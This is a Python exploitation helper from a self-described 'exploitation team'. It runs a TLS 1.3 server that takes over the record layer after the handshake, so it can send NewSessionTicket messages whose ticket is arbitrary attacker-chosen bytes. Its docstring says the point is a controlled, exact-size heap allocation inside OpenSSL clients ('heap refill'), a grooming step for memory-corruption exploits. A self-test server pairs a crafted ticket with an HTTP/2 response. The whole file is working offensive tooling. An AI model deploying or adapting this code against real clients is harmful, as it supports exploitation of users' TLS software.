"""
tls13_takeover.py — the original author (F1 exploitation team)
Server-side TLS 1.3 handshake via python's ssl (OpenSSL) over MemoryBIOs, then a hand-rolled
TLS 1.3 record layer on the raw socket, so a test server can send arbitrary records — in
particular a NewSessionTicket whose 'ticket' is any byte string (OpenSSL clients malloc(ticklen)
and memcpy it: a binary-safe, exact-size, persistent allocation inside the client = heap refill).

Usage:
    t = TLS13Takeover(accepted_socket, certfile="tools/cert.pem", alpn=["h2"])
    t.handshake()                    # blocks; afterwards use t like a socket:
    t.sendall(b"...h2 frames...")    # -> application_data records
    data = t.recv(65536)             # decrypted application data (raises socket.timeout)
    t.send_session_ticket(b"\xad\xdb\xde\xc0" + ...)   # NewSessionTicket(ticket=<bytes>)
    t.sendall_with_ticket(ticket, frames)  # both in ONE TCP write (ticket record first)
    t.selected_alpn(), t.cipher_name
"""
import ssl, socket, struct, hmac, hashlib, os, tempfile, time

def _hkdf_expand(secret, info, length, hashmod):
    out = b""; t = b""; i = 1
    while len(out) < length:
        t = hmac.new(secret, t + info + bytes([i]), hashmod).digest(); out += t; i += 1
    return out[:length]

def hkdf_expand_label(secret, label, context, length, hashmod):
    full = b"tls13 " + label.encode()
    info = struct.pack(">H", length) + bytes([len(full)]) + full + bytes([len(context)]) + context
    return _hkdf_expand(secret, info, length, hashmod)

class TLS13Takeover:
    def __init__(self, sock, certfile, keyfile=None, alpn=("h2",), log=None):
        self.sock = sock; self.raw = b""; self.app = b""; self.timeout = None
        self.log = log or (lambda *a: None)
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.minimum_version = ssl.TLSVersion.TLSv1_3
        self.ctx.maximum_version = ssl.TLSVersion.TLSv1_3
        self.ctx.load_cert_chain(certfile, keyfile)
        if alpn: self.ctx.set_alpn_protocols(list(alpn))
        self.ctx.num_tickets = 0
        fd, self.keylog = tempfile.mkstemp(prefix="klog_"); os.close(fd)
        self.ctx.keylog_filename = self.keylog
        self.inb = ssl.MemoryBIO(); self.outb = ssl.MemoryBIO()
        self.obj = self.ctx.wrap_bio(self.inb, self.outb, server_side=True)
        self.c_seq = 0; self.s_seq = 0; self.done = False

    # ---- raw record io
    def _raw_read_record(self, timeout):
        self.sock.settimeout(timeout)
        while True:
            if len(self.raw) >= 5:
                ln = struct.unpack(">H", self.raw[3:5])[0]
                if len(self.raw) >= 5 + ln:
                    rec, self.raw = self.raw[:5 + ln], self.raw[5 + ln:]
                    return rec
            d = self.sock.recv(65536)          # may raise socket.timeout
            if not d: return None
            self.raw += d

    def handshake(self, timeout=10):
        deadline = time.time() + timeout
        while True:
            try:
                self.obj.do_handshake()
                out = self.outb.read()
                if out: self.sock.sendall(out)
                break
            except ssl.SSLWantReadError:
                out = self.outb.read()
                if out: self.sock.sendall(out)
                rec = self._raw_read_record(max(0.1, deadline - time.time()))
                if rec is None: raise ConnectionError("closed during handshake")
                self.inb.write(rec)
        self.cipher_name = self.obj.cipher()[0]
        if "AES_256_GCM" in self.cipher_name: self.hash, klen = hashlib.sha384, 32
        elif "AES_128_GCM" in self.cipher_name: self.hash, klen = hashlib.sha256, 16
        elif "CHACHA20" in self.cipher_name: self.hash, klen = hashlib.sha256, 32
        else: raise RuntimeError("unsupported cipher " + self.cipher_name)
        secrets = {}
        for line in open(self.keylog):
            p = line.split()
            if len(p) == 3: secrets[p[0]] = bytes.fromhex(p[2])
        os.unlink(self.keylog)
        cts, sts = secrets["CLIENT_TRAFFIC_SECRET_0"], secrets["SERVER_TRAFFIC_SECRET_0"]
        self.c_key = hkdf_expand_label(cts, "key", b"", klen, self.hash); self.c_iv = hkdf_expand_label(cts, "iv", b"", 12, self.hash)
        self.s_key = hkdf_expand_label(sts, "key", b"", klen, self.hash); self.s_iv = hkdf_expand_label(sts, "iv", b"", 12, self.hash)
        if "CHACHA20" in self.cipher_name:
            from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
            self.c_aead, self.s_aead = ChaCha20Poly1305(self.c_key), ChaCha20Poly1305(self.s_key)
        else:
            from cryptography.hazmat.primitives.ciphers.aead import AESGCM
            self.c_aead, self.s_aead = AESGCM(self.c_key), AESGCM(self.s_key)
        self.done = True
        self.log("takeover: handshake done", self.cipher_name, "alpn", self.obj.selected_alpn_protocol())
        return self

    def selected_alpn(self): return self.obj.selected_alpn_protocol()

    @staticmethod
    def _nonce(iv, seq):
        s = seq.to_bytes(12, "big"); return bytes(a ^ b for a, b in zip(iv, s))

    def _send_record(self, ctype, payload):
        out = b""
        for i in range(0, max(1, len(payload)), 16384):
            chunk = payload[i:i + 16384]
            inner = chunk + bytes([ctype])
            hdr = b"\x17\x03\x03" + struct.pack(">H", len(inner) + 16)
            ct = self.s_aead.encrypt(self._nonce(self.s_iv, self.s_seq), inner, hdr); self.s_seq += 1
            out += hdr + ct
        return out

    def sendall(self, data):
        if data: self.sock.sendall(self._send_record(23, bytes(data)))
    send = sendall

    def make_session_ticket_record(self, ticket, lifetime=7200, age_add=0x01020304, nonce=b"\x00", exts=b""):
        body = struct.pack(">II", lifetime, age_add) + bytes([len(nonce)]) + nonce + struct.pack(">H", len(ticket)) + ticket + struct.pack(">H", len(exts)) + exts
        hs = b"\x04" + len(body).to_bytes(3, "big") + body
        return self._send_record(22, hs)

    def send_session_ticket(self, ticket, **kw):
        self.sock.sendall(self.make_session_ticket_record(ticket, **kw))

    def sendall_with_ticket(self, ticket, data, **kw):
        """NewSessionTicket record immediately followed by application data, one TCP write."""
        self.sock.sendall(self.make_session_ticket_record(ticket, **kw) + (self._send_record(23, bytes(data)) if data else b""))

    def _decrypt(self, rec):
        ctype = rec[0]
        if ctype == 20: return None                     # change_cipher_spec compat, ignore
        if ctype != 23: self.log("takeover: unexpected plaintext record type", ctype); return None
        hdr, body = rec[:5], rec[5:]
        pt = self.c_aead.decrypt(self._nonce(self.c_iv, self.c_seq), body, hdr); self.c_seq += 1
        pt = pt.rstrip(b"\x00")
        if not pt: return None
        inner_type, content = pt[-1], pt[:-1]
        if inner_type == 23: return content
        if inner_type == 21: self.log("takeover: alert from client", content.hex()); self.closed_by_peer = True; return b""
        if inner_type == 22: self.log("takeover: post-handshake msg from client type", content[:1].hex()); return None
        return None

    def settimeout(self, t): self.timeout = t
    def recv(self, n):
        deadline = None if self.timeout is None else time.time() + self.timeout
        while not self.app:
            rem = None if deadline is None else max(0.0, deadline - time.time())
            if deadline is not None and rem == 0.0 and self.raw[:0] == b"" and True:
                pass
            rec = self._raw_read_record(rem)   # raises socket.timeout
            if rec is None: return b""
            c = self._decrypt(rec)
            if c == b"" : return b""
            if c: self.app += c
        out, self.app = self.app[:n], self.app[n:]
        return out
    def shutdown(self, how=socket.SHUT_RDWR):
        try: self.sock.shutdown(how)
        except OSError: pass
    def close(self):
        try: self.sock.close()
        except OSError: pass
    def fileno(self): return self.sock.fileno()
    def getsockname(self): return self.sock.getsockname()
    def getpeername(self): return self.sock.getpeername()

if __name__ == "__main__":
    # self-test server: python3 tls13_takeover.py PORT [ticketlen]
    import sys
    from hyperframe.frame import SettingsFrame, HeadersFrame, DataFrame, Frame, WindowUpdateFrame
    from hpack import Encoder, Decoder
    port = int(sys.argv[1]); tlen = int(sys.argv[2]) if len(sys.argv) > 2 else 3368
    ls = socket.socket(); ls.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); ls.bind(("127.0.0.1", port)); ls.listen(5); ls.settimeout(20)
    s, _ = ls.accept()
    t = TLS13Takeover(s, "tools/cert.pem", log=lambda *a: print(*a, file=sys.stderr, flush=True)).handshake()
    t.settimeout(5)
    buf = b""
    while len(buf) < 24: buf += t.recv(65536)
    assert buf.startswith(b"PRI * HTTP/2.0"), buf[:24]
    buf = buf[24:]
    t.sendall(SettingsFrame(0).serialize())
    enc = Encoder(); dec = Decoder(); sid = None
    deadline = time.time() + 5
    while sid is None and time.time() < deadline:
        while len(buf) < 9: buf += t.recv(65536)
        ln = int.from_bytes(buf[:3], "big")
        while len(buf) < 9 + ln: buf += t.recv(65536)
        hdr, body, buf = buf[:9], buf[9:9+ln], buf[9+ln:]
        typ = hdr[3]; fl = hdr[4]; stream = int.from_bytes(hdr[5:9], "big") & 0x7fffffff
        print("frame type", typ, "flags", fl, "sid", stream, "len", ln, file=sys.stderr, flush=True)
        if typ == 4 and not (fl & 1):
            a = SettingsFrame(0); a.flags.add("ACK"); t.sendall(a.serialize())
        if typ == 1: sid = stream; print("request:", dec.decode(body if not (fl & 0x8) else body[1:len(body)-body[0]]), file=sys.stderr, flush=True)
    ticket = (b"\xad\xdb\xde\xc0" + b"T" * (tlen - 4))[:tlen]
    h = HeadersFrame(sid, data=enc.encode([(":status", "200"), ("content-length", "6")])); h.flags.add("END_HEADERS")
    d = DataFrame(sid, data=b"hello\n"); d.flags.add("END_STREAM")
    t.sendall_with_ticket(ticket, h.serialize() + d.serialize())
    print("sent NewSessionTicket(%d bytes) + response" % tlen, file=sys.stderr, flush=True)
    time.sleep(1.0)
    try:
        t.settimeout(1); extra = t.recv(65536); print("after:", extra[:40], file=sys.stderr)
    except Exception as e: print("after exc", e, file=sys.stderr)
    t.close()